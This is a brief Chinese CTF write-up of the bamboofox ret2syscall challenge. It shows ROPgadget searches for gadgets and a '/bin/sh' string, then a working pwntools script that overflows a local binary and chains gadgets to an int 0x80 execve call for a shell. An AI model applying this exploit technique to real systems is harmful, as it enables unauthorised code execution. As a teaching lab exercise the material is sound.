例题: bamboofox 中的 ret2syscall
检查保护机制 堆栈不可执行 随机地址没开
利用gadgets获得shell
把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用
ax 0xb
bx bin/sh的地址
cx 0
dx 0
寻找控制 eax 的gadgets
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
寻找控制 ebx 的gadgets
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
获得 /bin/sh 字符串对应的地址
ROPgadget --binary rop --string 'bin/sh'
int 80 的地址
收集完信息编写脚本
from pwn import *
#p=remote()
p=process('./rop')
pop_ax=0x80bb196
pop_dx_cx_bx=0x0806eb90
sh=0x080be408
int_80=0x08049421
payload=b'a'*112+p32(pop_ax)+p32(0xb)+p32(pop_dx_cx_bx)+p32(0)+p32(0)+p32(sh)+p32(int_80)
p.sendline(payload)
p.interactive()